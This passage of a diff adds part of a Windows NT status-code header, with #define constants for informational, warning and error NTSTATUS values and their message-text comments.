STATUS_IMAGE_NOT_AT_BASE +// +// MessageText: +// +// {Image Relocated} +// An image file could not be mapped at the address specified in the image file. Local fixups must be performed on this image. +// +#define STATUS_IMAGE_NOT_AT_BASE ((NTSTATUS)0x40000003L) + +// +// MessageId: STATUS_RXACT_STATE_CREATED +// +// MessageText: +// +// This informational level status indicates that a specified registry sub-tree transaction state did not yet exist and had to be created. +// +#define STATUS_RXACT_STATE_CREATED ((NTSTATUS)0x40000004L) + +// +// MessageId: STATUS_LOCAL_USER_SESSION_KEY +// +// MessageText: +// +// {Local Session Key} +// A user session key was requested for a local RPC connection. The session key returned is a constant value and not unique to this connection. +// +#define STATUS_LOCAL_USER_SESSION_KEY ((NTSTATUS)0x40000006L) + +// +// MessageId: STATUS_BAD_CURRENT_DIRECTORY +// +// MessageText: +// +// {Invalid Current Directory} +// The process cannot switch to the startup current directory %hs. +// Select OK to set current directory to %hs, or select CANCEL to exit. +// +#define STATUS_BAD_CURRENT_DIRECTORY ((NTSTATUS)0x40000007L) + +// +// MessageId: STATUS_SERIAL_MORE_WRITES +// +// MessageText: +// +// {Serial IOCTL Complete} +// A serial I/O operation was completed by another write to a serial port. +// (The IOCTL_SERIAL_XOFF_COUNTER reached zero.) +// +#define STATUS_SERIAL_MORE_WRITES ((NTSTATUS)0x40000008L) + +// +// MessageId: STATUS_REGISTRY_RECOVERED +// +// MessageText: +// +// {Registry Recovery} +// One of the files containing the system's Registry data had to be recovered by use of a log or alternate copy. +// The recovery was successful. +// +#define STATUS_REGISTRY_RECOVERED ((NTSTATUS)0x40000009L) + +// +// MessageId: STATUS_FT_READ_RECOVERY_FROM_BACKUP +// +// MessageText: +// +// {Redundant Read} +// To satisfy a read request, the NT fault-tolerant file system successfully read the requested data from a redundant copy. +// This was done because the file system encountered a failure on a member of the fault-tolerant volume, but was unable to reassign the failing area of the device. +// +#define STATUS_FT_READ_RECOVERY_FROM_BACKUP ((NTSTATUS)0x4000000AL) + +// +// MessageId: STATUS_FT_WRITE_RECOVERY +// +// MessageText: +// +// {Redundant Write} +// To satisfy a write request, the NT fault-tolerant file system successfully wrote a redundant copy of the information. +// This was done because the file system encountered a failure on a member of the fault-tolerant volume, but was not able to reassign the failing area of the device. +// +#define STATUS_FT_WRITE_RECOVERY ((NTSTATUS)0x4000000BL) + +// +// MessageId: STATUS_SERIAL_COUNTER_TIMEOUT +// +// MessageText: +// +// {Serial IOCTL Timeout} +// A serial I/O operation completed because the time-out period expired. +// (The IOCTL_SERIAL_XOFF_COUNTER had not reached zero.) +// +#define STATUS_SERIAL_COUNTER_TIMEOUT ((NTSTATUS)0x4000000CL) + +// +// MessageId: STATUS_NULL_LM_PASSWORD +// +// MessageText: +// +// {Password Too Complex} +// The Windows password is too complex to be converted to a LAN Manager password. +// The LAN Manager password returned is a NULL string. +// +#define STATUS_NULL_LM_PASSWORD ((NTSTATUS)0x4000000DL) + +// +// MessageId: STATUS_IMAGE_MACHINE_TYPE_MISMATCH +// +// MessageText: +// +// {Machine Type Mismatch} +// The image file %hs is valid, but is for a machine type other than the current machine. Select OK to continue, or CANCEL to fail the DLL load. +// +#define STATUS_IMAGE_MACHINE_TYPE_MISMATCH ((NTSTATUS)0x4000000EL) + +// +// MessageId: STATUS_RECEIVE_PARTIAL +// +// MessageText: +// +// {Partial Data Received} +// The network transport returned partial data to its client. The remaining data will be sent later. +// +#define STATUS_RECEIVE_PARTIAL ((NTSTATUS)0x4000000FL) + +// +// MessageId: STATUS_RECEIVE_EXPEDITED +// +// MessageText: +// +// {Expedited Data Received} +// The network transport returned data to its client that was marked as expedited by the remote system. +// +#define STATUS_RECEIVE_EXPEDITED ((NTSTATUS)0x40000010L) + +// +// MessageId: STATUS_RECEIVE_PARTIAL_EXPEDITED +// +// MessageText: +// +// {Partial Expedited Data Received} +// The network transport returned partial data to its client and this data was marked as expedited by the remote system. The remaining data will be sent later. +// +#define STATUS_RECEIVE_PARTIAL_EXPEDITED ((NTSTATUS)0x40000011L) + +// +// MessageId: STATUS_EVENT_DONE +// +// MessageText: +// +// {TDI Event Done} +// The TDI indication has completed successfully. +// +#define STATUS_EVENT_DONE ((NTSTATUS)0x40000012L) + +// +// MessageId: STATUS_EVENT_PENDING +// +// MessageText: +// +// {TDI Event Pending} +// The TDI indication has entered the pending state. +// +#define STATUS_EVENT_PENDING ((NTSTATUS)0x40000013L) + +// +// MessageId: STATUS_CHECKING_FILE_SYSTEM +// +// MessageText: +// +// Checking file system on %wZ +// +#define STATUS_CHECKING_FILE_SYSTEM ((NTSTATUS)0x40000014L) + +// +// MessageId: STATUS_FATAL_APP_EXIT +// +// MessageText: +// +// {Fatal Application Exit} +// %hs +// +//#define STATUS_FATAL_APP_EXIT ((NTSTATUS)0x40000015L) + +// +// MessageId: STATUS_PREDEFINED_HANDLE +// +// MessageText: +// +// The specified registry key is referenced by a predefined handle. +// +#define STATUS_PREDEFINED_HANDLE ((NTSTATUS)0x40000016L) + +// +// MessageId: STATUS_WAS_UNLOCKED +// +// MessageText: +// +// {Page Unlocked} +// The page protection of a locked page was changed to 'No Access' and the page was unlocked from memory and from the process. +// +#define STATUS_WAS_UNLOCKED ((NTSTATUS)0x40000017L) + +// +// MessageId: STATUS_SERVICE_NOTIFICATION +// +// MessageText: +// +// %hs +// +#define STATUS_SERVICE_NOTIFICATION ((NTSTATUS)0x40000018L) + +// +// MessageId: STATUS_WAS_LOCKED +// +// MessageText: +// +// {Page Locked} +// One of the pages to lock was already locked. +// +#define STATUS_WAS_LOCKED ((NTSTATUS)0x40000019L) + +// +// MessageId: STATUS_LOG_HARD_ERROR +// +// MessageText: +// +// Application popup: %1 : %2 +// +#define STATUS_LOG_HARD_ERROR ((NTSTATUS)0x4000001AL) + +// +// MessageId: STATUS_ALREADY_WIN32 +// +// MessageText: +// +// STATUS_ALREADY_WIN32 +// +#define STATUS_ALREADY_WIN32 ((NTSTATUS)0x4000001BL) + +// +// MessageId: STATUS_WX86_UNSIMULATE +// +// MessageText: +// +// Exception status code used by Win32 x86 emulation subsystem. +// +#define STATUS_WX86_UNSIMULATE ((NTSTATUS)0x4000001CL) + +// +// MessageId: STATUS_WX86_CONTINUE +// +// MessageText: +// +// Exception status code used by Win32 x86 emulation subsystem. +// +#define STATUS_WX86_CONTINUE ((NTSTATUS)0x4000001DL) + +// +// MessageId: STATUS_WX86_SINGLE_STEP +// +// MessageText: +// +// Exception status code used by Win32 x86 emulation subsystem. +// +#define STATUS_WX86_SINGLE_STEP ((NTSTATUS)0x4000001EL) + +// +// MessageId: STATUS_WX86_BREAKPOINT +// +// MessageText: +// +// Exception status code used by Win32 x86 emulation subsystem. +// +#define STATUS_WX86_BREAKPOINT ((NTSTATUS)0x4000001FL) + +// +// MessageId: STATUS_WX86_EXCEPTION_CONTINUE +// +// MessageText: +// +// Exception status code used by Win32 x86 emulation subsystem. +// +#define STATUS_WX86_EXCEPTION_CONTINUE ((NTSTATUS)0x40000020L) + +// +// MessageId: STATUS_WX86_EXCEPTION_LASTCHANCE +// +// MessageText: +// +// Exception status code used by Win32 x86 emulation subsystem. +// +#define STATUS_WX86_EXCEPTION_LASTCHANCE ((NTSTATUS)0x40000021L) + +// +// MessageId: STATUS_WX86_EXCEPTION_CHAIN +// +// MessageText: +// +// Exception status code used by Win32 x86 emulation subsystem. +// +#define STATUS_WX86_EXCEPTION_CHAIN ((NTSTATUS)0x40000022L) + +// +// MessageId: STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE +// +// MessageText: +// +// {Machine Type Mismatch} +// The image file %hs is valid, but is for a machine type other than the current machine. +// +#define STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE ((NTSTATUS)0x40000023L) + +// +// MessageId: STATUS_NO_YIELD_PERFORMED +// +// MessageText: +// +// A yield execution was performed and no thread was available to run. +// +#define STATUS_NO_YIELD_PERFORMED ((NTSTATUS)0x40000024L) + +// +// MessageId: STATUS_TIMER_RESUME_IGNORED +// +// MessageText: +// +// The resumable flag to a timer API was ignored. +// +#define STATUS_TIMER_RESUME_IGNORED ((NTSTATUS)0x40000025L) + +// +// MessageId: STATUS_ARBITRATION_UNHANDLED +// +// MessageText: +// +// The arbiter has deferred arbitration of these resources to its parent +// +#define STATUS_ARBITRATION_UNHANDLED ((NTSTATUS)0x40000026L) + +// +// MessageId: STATUS_CARDBUS_NOT_SUPPORTED +// +// MessageText: +// +// The device "%hs" has detected a CardBus card in its slot, but the firmware on this system is not configured to allow the CardBus controller to be run in CardBus mode. +// The operating system will currently accept only 16-bit (R2) pc-cards on this controller. +// +#define STATUS_CARDBUS_NOT_SUPPORTED ((NTSTATUS)0x40000027L) + +// +// MessageId: STATUS_WX86_CREATEWX86TIB +// +// MessageText: +// +// Exception status code used by Win32 x86 emulation subsystem. +// +#define STATUS_WX86_CREATEWX86TIB ((NTSTATUS)0x40000028L) + +// +// MessageId: STATUS_MP_PROCESSOR_MISMATCH +// +// MessageText: +// +// The CPUs in this multiprocessor system are not all the same revision level. To use all processors the operating system restricts itself to the features of the least capable processor in the system. Should problems occur with this system, contact +// the CPU manufacturer to see if this mix of processors is supported. +// +#define STATUS_MP_PROCESSOR_MISMATCH ((NTSTATUS)0x40000029L) + +// +// MessageId: STATUS_HIBERNATED +// +// MessageText: +// +// The system was put into hibernation. +// +#define STATUS_HIBERNATED ((NTSTATUS)0x4000002AL) + +// +// MessageId: STATUS_RESUME_HIBERNATION +// +// MessageText: +// +// The system was resumed from hibernation. +// +#define STATUS_RESUME_HIBERNATION ((NTSTATUS)0x4000002BL) + +// +// MessageId: STATUS_FIRMWARE_UPDATED +// +// MessageText: +// +// Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3]. +// +#define STATUS_FIRMWARE_UPDATED ((NTSTATUS)0x4000002CL) + +// +// MessageId: STATUS_DRIVERS_LEAKING_LOCKED_PAGES +// +// MessageText: +// +// A device driver is leaking locked I/O pages causing system degradation. The system has automatically enabled tracking code in order to try and catch the culprit. +// +#define STATUS_DRIVERS_LEAKING_LOCKED_PAGES ((NTSTATUS)0x4000002DL) + +// +// MessageId: DBG_REPLY_LATER +// +// MessageText: +// +// Debugger will reply later. +// +#define DBG_REPLY_LATER ((NTSTATUS)0x40010001L) + +// +// MessageId: DBG_UNABLE_TO_PROVIDE_HANDLE +// +// MessageText: +// +// Debugger can not provide handle. +// +#define DBG_UNABLE_TO_PROVIDE_HANDLE ((NTSTATUS)0x40010002L) + + +///////////////////////////////////////////////////////////////////////// +// +// Standard Warning values +// +// +// Note: Do NOT use the value 0x80000000L, as this is a non-portable value +// for the NT_SUCCESS macro. Warning values start with a code of 1. +// +///////////////////////////////////////////////////////////////////////// + +// +// MessageId: STATUS_BUFFER_OVERFLOW +// +// MessageText: +// +// {Buffer Overflow} +// The data was too large to fit into the specified buffer. +// +#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) + +// +// MessageId: STATUS_NO_MORE_FILES +// +// MessageText: +// +// {No More Files} +// No more files were found which match the file specification. +// +#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L) + +// +// MessageId: STATUS_WAKE_SYSTEM_DEBUGGER +// +// MessageText: +// +// {Kernel Debugger Awakened} +// the system debugger was awakened by an interrupt. +// +#define STATUS_WAKE_SYSTEM_DEBUGGER ((NTSTATUS)0x80000007L) + +// +// MessageId: STATUS_HANDLES_CLOSED +// +// MessageText: +// +// {Handles Closed} +// Handles to objects have been automatically closed as a result of the requested operation. +// +#define STATUS_HANDLES_CLOSED ((NTSTATUS)0x8000000AL) + +// +// MessageId: STATUS_NO_INHERITANCE +// +// MessageText: +// +// {Non-Inheritable ACL} +// An access control list (ACL) contains no components that can be inherited. +// +#define STATUS_NO_INHERITANCE ((NTSTATUS)0x8000000BL) + +// +// MessageId: STATUS_GUID_SUBSTITUTION_MADE +// +// MessageText: +// +// {GUID Substitution} +// During the translation of a global identifier (GUID) to a Windows security ID (SID), no administratively-defined GUID prefix was found. +// A substitute prefix was used, which will not compromise system security. +// However, this may provide a more restrictive access than intended. +// +#define STATUS_GUID_SUBSTITUTION_MADE ((NTSTATUS)0x8000000CL) + +// +// MessageId: STATUS_PARTIAL_COPY +// +// MessageText: +// +// {Partial Copy} +// Due to protection conflicts not all the requested bytes could be copied. +// +#define STATUS_PARTIAL_COPY ((NTSTATUS)0x8000000DL) + +// +// MessageId: STATUS_DEVICE_PAPER_EMPTY +// +// MessageText: +// +// {Out of Paper} +// The printer is out of paper. +// +#define STATUS_DEVICE_PAPER_EMPTY ((NTSTATUS)0x8000000EL) + +// +// MessageId: STATUS_DEVICE_POWERED_OFF +// +// MessageText: +// +// {Device Power Is Off} +// The printer power has been turned off. +// +#define STATUS_DEVICE_POWERED_OFF ((NTSTATUS)0x8000000FL) + +// +// MessageId: STATUS_DEVICE_OFF_LINE +// +// MessageText: +// +// {Device Offline} +// The printer has been taken offline. +// +#define STATUS_DEVICE_OFF_LINE ((NTSTATUS)0x80000010L) + +// +// MessageId: STATUS_DEVICE_BUSY +// +// MessageText: +// +// {Device Busy} +// The device is currently busy. +// +#define STATUS_DEVICE_BUSY ((NTSTATUS)0x80000011L) + +// +// MessageId: STATUS_NO_MORE_EAS +// +// MessageText: +// +// {No More EAs} +// No more extended attributes (EAs) were found for the file. +// +#define STATUS_NO_MORE_EAS ((NTSTATUS)0x80000012L) + +// +// MessageId: STATUS_INVALID_EA_NAME +// +// MessageText: +// +// {Illegal EA} +// The specified extended attribute (EA) name contains at least one illegal character. +// +#define STATUS_INVALID_EA_NAME ((NTSTATUS)0x80000013L) + +// +// MessageId: STATUS_EA_LIST_INCONSISTENT +// +// MessageText: +// +// {Inconsistent EA List} +// The extended attribute (EA) list is inconsistent. +// +#define STATUS_EA_LIST_INCONSISTENT ((NTSTATUS)0x80000014L) + +// +// MessageId: STATUS_INVALID_EA_FLAG +// +// MessageText: +// +// {Invalid EA Flag} +// An invalid extended attribute (EA) flag was set. +// +#define STATUS_INVALID_EA_FLAG ((NTSTATUS)0x80000015L) + +// +// MessageId: STATUS_VERIFY_REQUIRED +// +// MessageText: +// +// {Verifying Disk} +// The media has changed and a verify operation is in progress so no reads or writes may be performed to the device, except those used in the verify operation. +// +#define STATUS_VERIFY_REQUIRED ((NTSTATUS)0x80000016L) + +// +// MessageId: STATUS_EXTRANEOUS_INFORMATION +// +// MessageText: +// +// {Too Much Information} +// The specified access control list (ACL) contained more information than was expected. +// +#define STATUS_EXTRANEOUS_INFORMATION ((NTSTATUS)0x80000017L) + +// +// MessageId: STATUS_RXACT_COMMIT_NECESSARY +// +// MessageText: +// +// This warning level status indicates that the transaction state already exists for the registry sub-tree, but that a transaction commit was previously aborted. +// The commit has NOT been completed, but has not been rolled back either (so it may still be committed if desired). +// +#define STATUS_RXACT_COMMIT_NECESSARY ((NTSTATUS)0x80000018L) + +// +// MessageId: STATUS_NO_MORE_ENTRIES +// +// MessageText: +// +// {No More Entries} +// No more entries are available from an enumeration operation. +// +#define STATUS_NO_MORE_ENTRIES ((NTSTATUS)0x8000001AL) + +// +// MessageId: STATUS_FILEMARK_DETECTED +// +// MessageText: +// +// {Filemark Found} +// A filemark was detected. +// +#define STATUS_FILEMARK_DETECTED ((NTSTATUS)0x8000001BL) + +// +// MessageId: STATUS_MEDIA_CHANGED +// +// MessageText: +// +// {Media Changed} +// The media may have changed. +// +#define STATUS_MEDIA_CHANGED ((NTSTATUS)0x8000001CL) + +// +// MessageId: STATUS_BUS_RESET +// +// MessageText: +// +// {I/O Bus Reset} +// An I/O bus reset was detected. +// +#define STATUS_BUS_RESET ((NTSTATUS)0x8000001DL) + +// +// MessageId: STATUS_END_OF_MEDIA +// +// MessageText: +// +// {End of Media} +// The end of the media was encountered. +// +#define STATUS_END_OF_MEDIA ((NTSTATUS)0x8000001EL) + +// +// MessageId: STATUS_BEGINNING_OF_MEDIA +// +// MessageText: +// +// Beginning of tape or partition has been detected. +// +#define STATUS_BEGINNING_OF_MEDIA ((NTSTATUS)0x8000001FL) + +// +// MessageId: STATUS_MEDIA_CHECK +// +// MessageText: +// +// {Media Changed} +// The media may have changed. +// +#define STATUS_MEDIA_CHECK ((NTSTATUS)0x80000020L) + +// +// MessageId: STATUS_SETMARK_DETECTED +// +// MessageText: +// +// A tape access reached a setmark. +// +#define STATUS_SETMARK_DETECTED ((NTSTATUS)0x80000021L) + +// +// MessageId: STATUS_NO_DATA_DETECTED +// +// MessageText: +// +// During a tape access, the end of the data written is reached. +// +#define STATUS_NO_DATA_DETECTED ((NTSTATUS)0x80000022L) + +// +// MessageId: STATUS_REDIRECTOR_HAS_OPEN_HANDLES +// +// MessageText: +// +// The redirector is in use and cannot be unloaded. +// +#define STATUS_REDIRECTOR_HAS_OPEN_HANDLES ((NTSTATUS)0x80000023L) + +// +// MessageId: STATUS_SERVER_HAS_OPEN_HANDLES +// +// MessageText: +// +// The server is in use and cannot be unloaded. +// +#define STATUS_SERVER_HAS_OPEN_HANDLES ((NTSTATUS)0x80000024L) + +// +// MessageId: STATUS_ALREADY_DISCONNECTED +// +// MessageText: +// +// The specified connection has already been disconnected. +// +#define STATUS_ALREADY_DISCONNECTED ((NTSTATUS)0x80000025L) + +// +// MessageId: STATUS_CLEANER_CARTRIDGE_INSTALLED +// +// MessageText: +// +// A cleaner cartridge is present in the tape library. +// +#define STATUS_CLEANER_CARTRIDGE_INSTALLED ((NTSTATUS)0x80000027L) + +// +// MessageId: STATUS_PLUGPLAY_QUERY_VETOED +// +// MessageText: +// +// The Plug and Play query operation was not successful. +// +#define STATUS_PLUGPLAY_QUERY_VETOED ((NTSTATUS)0x80000028L) + +// +// MessageId: STATUS_REGISTRY_HIVE_RECOVERED +// +// MessageText: +// +// {Registry Hive Recovered} +// Registry hive (file): +// %hs +// was corrupted and it has been recovered. Some data might have been lost. +// +#define STATUS_REGISTRY_HIVE_RECOVERED ((NTSTATUS)0x8000002AL) + +// +// MessageId: STATUS_DLL_MIGHT_BE_INSECURE +// +// MessageText: +// +// The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs? +// +#define STATUS_DLL_MIGHT_BE_INSECURE ((NTSTATUS)0x8000002BL) + +// +// MessageId: STATUS_DLL_MIGHT_BE_INCOMPATIBLE +// +// MessageText: +// +// The application is loading executable code from the module %hs. This is secure, but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs? +// +#define STATUS_DLL_MIGHT_BE_INCOMPATIBLE ((NTSTATUS)0x8000002CL) + +// +// MessageId: STATUS_CLUSTER_NODE_ALREADY_UP +// +// MessageText: +// +// The cluster node is already up. +// +#define STATUS_CLUSTER_NODE_ALREADY_UP ((NTSTATUS)0x80130001L) + +// +// MessageId: STATUS_CLUSTER_NODE_ALREADY_DOWN +// +// MessageText: +// +// The cluster node is already down. +// +#define STATUS_CLUSTER_NODE_ALREADY_DOWN ((NTSTATUS)0x80130002L) + +// +// MessageId: STATUS_CLUSTER_NETWORK_ALREADY_ONLINE +// +// MessageText: +// +// The cluster network is already online. +// +#define STATUS_CLUSTER_NETWORK_ALREADY_ONLINE ((NTSTATUS)0x80130003L) + +// +// MessageId: STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE +// +// MessageText: +// +// The cluster network is already offline. +// +#define STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE ((NTSTATUS)0x80130004L) + +// +// MessageId: STATUS_CLUSTER_NODE_ALREADY_MEMBER +// +// MessageText: +// +// The cluster node is already a member of the cluster. +// +#define STATUS_CLUSTER_NODE_ALREADY_MEMBER ((NTSTATUS)0x80130005L) + + + +///////////////////////////////////////////////////////////////////////// +// +// Standard Error values +// +///////////////////////////////////////////////////////////////////////// + +// +// MessageId: STATUS_UNSUCCESSFUL +// +// MessageText: +// +// {Operation Failed} +// The requested operation was unsuccessful. +// +#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) + +// +// MessageId: STATUS_INVALID_INFO_CLASS +// +// MessageText: +// +// {Invalid Parameter} +// The specified information class is not a valid information class for the specified object. +// +#define STATUS_INVALID_INFO_CLASS ((NTSTATUS)0xC0000003L) // ntsubauth + +// +// MessageId: STATUS_INFO_LENGTH_MISMATCH +// +// MessageText: +// +// The specified information record length does not match the length required for the specified information class. +// +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) + +// +// MessageId: STATUS_PAGEFILE_QUOTA +// +// MessageText: +// +// The pagefile quota for the process has been exhausted. +// +#define STATUS_PAGEFILE_QUOTA ((NTSTATUS)0xC0000007L) + +// +// MessageId: STATUS_BAD_INITIAL_STACK +// +// MessageText: +// +// An invalid initial stack was specified in a call to NtCreateThread. +// +#define STATUS_BAD_INITIAL_STACK ((NTSTATUS)0xC0000009L) + +// +// MessageId: STATUS_BAD_INITIAL_PC +// +// MessageText: +// +// An invalid initial start address was specified in a call to NtCreateThread. +// +#define STATUS_BAD_INITIAL_PC ((NTSTATUS)0xC000000AL) + +// +// MessageId: STATUS_INVALID_CID +// +// MessageText: +// +// An invalid Client ID was specified. +// +#define STATUS_INVALID_CID ((NTSTATUS)0xC000000BL) + +// +// MessageId: STATUS_TIMER_NOT_CANCELED +// +// MessageText: +// +// An attempt was made to cancel or set a timer that has an associated APC and the subject thread is not the thread that originally set the timer with an associated APC routine. +// +#define STATUS_TIMER_NOT_CANCELED ((NTSTATUS)0xC000000CL) + +// +// MessageId: STATUS_NO_SUCH_DEVICE +// +// MessageText: +// +// A device which does not exist was specified. +// +#define STATUS_NO_SUCH_DEVICE ((NTSTATUS)0xC000000EL) + +// +// MessageId: STATUS_NO_SUCH_FILE +// +// MessageText: +// +// {File Not Found} +// The file %hs does not exist. +// +#define STATUS_NO_SUCH_FILE ((NTSTATUS)0xC000000FL) + +// +// MessageId: STATUS_END_OF_FILE +// +// MessageText: +// +// The end-of-file marker has been reached. There is no valid data in the file beyond this marker. +// +#define STATUS_END_OF_FILE ((NTSTATUS)0xC0000011L) + +// +// MessageId: STATUS_WRONG_VOLUME +// +// MessageText: +// +// {Wrong Volume} +// The wrong volume is in the drive. +// Please insert volume %hs into drive %hs. +// +#define STATUS_WRONG_VOLUME ((NTSTATUS)0xC0000012L) + +// +// MessageId: STATUS_NO_MEDIA_IN_DEVICE +// +// MessageText: +// +// {No Disk} +// There is no disk in the drive. +// Please insert a disk into drive %hs. +// +#define STATUS_NO_MEDIA_IN_DEVICE ((NTSTATUS)0xC0000013L) + +// +// MessageId: STATUS_UNRECOGNIZED_MEDIA +// +// MessageText: +// +// {Unknown Disk Format} +// The disk in drive %hs is not formatted properly. +// Please check the disk, and reformat if necessary. +// +#define STATUS_UNRECOGNIZED_MEDIA ((NTSTATUS)0xC0000014L) + +// +// MessageId: STATUS_NONEXISTENT_SECTOR +// +// MessageText: +// +// {Sector Not Found} +// The specified sector does not exist. +// +#define STATUS_NONEXISTENT_SECTOR ((NTSTATUS)0xC0000015L) + +// +// MessageId: STATUS_MORE_PROCESSING_REQUIRED +// +// MessageText: +// +// {Still Busy} +// The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete. +// +#define STATUS_MORE_PROCESSING_REQUIRED ((NTSTATUS)0xC0000016L) + +// +// MessageId: STATUS_CONFLICTING_ADDRESSES +// +// MessageText: +// +// {Conflicting Address Range} +// The specified address range conflicts with the address space. +// +#define STATUS_CONFLICTING_ADDRESSES ((NTSTATUS)0xC0000018L) + +// +// MessageId: STATUS_NOT_MAPPED_VIEW +// +// MessageText: +// +// Address range to unmap is not a mapped view. +// +#define STATUS_NOT_MAPPED_VIEW ((NTSTATUS)0xC0000019L) + +// +// MessageId: STATUS_UNABLE_TO_FREE_VM +// +// MessageText: +// +// Virtual memory cannot be freed. +// +#define STATUS_UNABLE_TO_FREE_VM ((NTSTATUS)0xC000001AL) + +// +// MessageId: STATUS_UNABLE_TO_DELETE_SECTION +// +// MessageText: +// +// Specified section cannot be deleted. +// +#define STATUS_UNABLE_TO_DELETE_SECTION ((NTSTATUS)0xC000001BL) + +// +// MessageId: STATUS_INVALID_SYSTEM_SERVICE +// +// MessageText: +// +// An invalid system service was specified in a system service call. +// +#define STATUS_INVALID_SYSTEM_SERVICE ((NTSTATUS)0xC000001CL) + +// +// MessageId: STATUS_INVALID_LOCK_SEQUENCE +// +// MessageText: +// +// {Invalid Lock Sequence} +// An attempt was made to execute an invalid lock sequence. +// +#define STATUS_INVALID_LOCK_SEQUENCE ((NTSTATUS)0xC000001EL) + +// +// MessageId: STATUS_INVALID_VIEW_SIZE +// +// MessageText: +// +// {Invalid Mapping} +// An attempt was made to create a view for a section which is bigger than the section. +// +#define STATUS_INVALID_VIEW_SIZE ((NTSTATUS)0xC000001FL) + +// +// MessageId: STATUS_INVALID_FILE_FOR_SECTION +// +// MessageText: +// +// {Bad File} +// The attributes of the specified mapping file for a section of memory cannot be read. +// +#define STATUS_INVALID_FILE_FOR_SECTION ((NTSTATUS)0xC0000020L) + +// +// MessageId: STATUS_ALREADY_COMMITTED +// +// MessageText: +// +// {Already Committed} +// The specified address range is already committed. +// +#define STATUS_ALREADY_COMMITTED ((NTSTATUS)0xC0000021L) + +// +// MessageId: STATUS_ACCESS_DENIED +// +// MessageText: +// +// {Access Denied} +// A process has requested access to an object, but has not been granted those access rights. +// +#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) + +// +// MessageId: STATUS_BUFFER_TOO_SMALL +// +// MessageText: +// +// {Buffer Too Small} +// The buffer is too small to contain the entry. No information has been written to the buffer. +// +#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L) + +// +// MessageId: STATUS_OBJECT_TYPE_MISMATCH +// +// MessageText: +// +// {Wrong Type} +// There is a mismatch between the type of object required by the requested operation and the type of object that is specified in the request. +// +#define STATUS_OBJECT_TYPE_MISMATCH ((NTSTATUS)0xC0000024L) + +// +// MessageId: STATUS_UNWIND +// +// MessageText: +// +// Unwind exception code. +// +#define STATUS_UNWIND ((NTSTATUS)0xC0000027L) + +// +// MessageId: STATUS_BAD_STACK +// +// MessageText: +// +// An invalid or unaligned stack was encountered during an unwind operation. +// +#define STATUS_BAD_STACK ((NTSTATUS)0xC0000028L) + +// +// MessageId: STATUS_INVALID_UNWIND_TARGET +// +// MessageText: +// +// An invalid unwind target was encountered during an unwind operation. +// +#define STATUS_INVALID_UNWIND_TARGET ((NTSTATUS)0xC0000029L) + +// +// MessageId: STATUS_NOT_LOCKED +// +// MessageText: +// +// An attempt was made to unlock a page of memory which was not locked. +// +#define STATUS_NOT_LOCKED ((NTSTATUS)0xC000002AL) + +// +// MessageId: STATUS_PARITY_ERROR +// +// MessageText: +// +// Device parity error on I/O operation. +// +#define STATUS_PARITY_ERROR ((NTSTATUS)0xC000002BL) + +// +// MessageId: STATUS_UNABLE_TO_DECOMMIT_VM +// +// MessageText: +// +// An attempt was made to decommit uncommitted virtual memory. +// +#define STATUS_UNABLE_TO_DECOMMIT_VM ((NTSTATUS)0xC000002CL) + +// +// MessageId: STATUS_NOT_COMMITTED +// +// MessageText: +// +// An attempt was made to change the attributes on memory that has not been committed. +// +#define STATUS_NOT_COMMITTED ((NTSTATUS)0xC000002DL) + +// +// MessageId: STATUS_INVALID_PORT_ATTRIBUTES +// +// MessageText: +// +// Invalid Object Attributes specified to NtCreatePort or invalid Port Attributes specified to NtConnectPort +// +#define STATUS_INVALID_PORT_ATTRIBUTES ((NTSTATUS)0xC000002EL) + +// +// MessageId: STATUS_PORT_MESSAGE_TOO_LONG +// +// MessageText: +// +// Length of message passed to NtRequestPort or NtRequestWaitReplyPort was longer than the maximum message allowed by the port. +// +#define STATUS_PORT_MESSAGE_TOO_LONG ((NTSTATUS)0xC000002FL) + +// +// MessageId: STATUS_INVALID_PARAMETER_MIX +// +// MessageText: +// +// An invalid combination of parameters was specified. +// +#define STATUS_INVALID_PARAMETER_MIX ((NTSTATUS)0xC0000030L) + +// +// MessageId: STATUS_INVALID_QUOTA_LOWER +// +// MessageText: +// +// An attempt was made to lower a quota limit below the current usage. +// +#define STATUS_INVALID_QUOTA_LOWER ((NTSTATUS)0xC0000031L) + +// +// MessageId: STATUS_DISK_CORRUPT_ERROR +// +// MessageText: +// +// {Corrupt Disk} +// The file system structure on the disk is corrupt and unusable. +// Please run the Chkdsk utility on the volume %hs. +// +#define STATUS_DISK_CORRUPT_ERROR ((NTSTATUS)0xC0000032L) + +// +// MessageId: STATUS_OBJECT_NAME_INVALID +// +// MessageText: +// +// Object Name invalid. +// +#define STATUS_OBJECT_NAME_INVALID ((NTSTATUS)0xC0000033L) + +// +// MessageId: STATUS_OBJECT_NAME_NOT_FOUND +// +// MessageText: +// +// Object Name not found. +// +#define STATUS_OBJECT_NAME_NOT_FOUND ((NTSTATUS)0xC0000034L) + +// +// MessageId: STATUS_OBJECT_NAME_COLLISION +// +// MessageText: +// +// Object Name already exists. +// +#define STATUS_OBJECT_NAME_COLLISION ((NTSTATUS)0xC0000035L) + +// +// MessageId: STATUS_PORT_DISCONNECTED +// +// MessageText: +// +// Attempt to send a message to a disconnected communication port. +// +#define STATUS_PORT_DISCONNECTED ((NTSTATUS)0xC0000037L) + +// +// MessageId: STATUS_DEVICE_ALREADY_ATTACHED +// +// MessageText: +// +// An attempt was made to attach to a device that was already attached to another device. +// +#define STATUS_DEVICE_ALREADY_ATTACHED ((NTSTATUS)0xC0000038L) + +// +// MessageId: STATUS_OBJECT_PATH_INVALID +// +// MessageText: +// +// Object Path Component was not a directory object. +// +#define STATUS_OBJECT_PATH_INVALID ((NTSTATUS)0xC0000039L) + +// +// MessageId: STATUS_OBJECT_PATH_NOT_FOUND +// +// MessageText: +// +// {Path Not Found} +// The path %hs does not exist. +// +#define 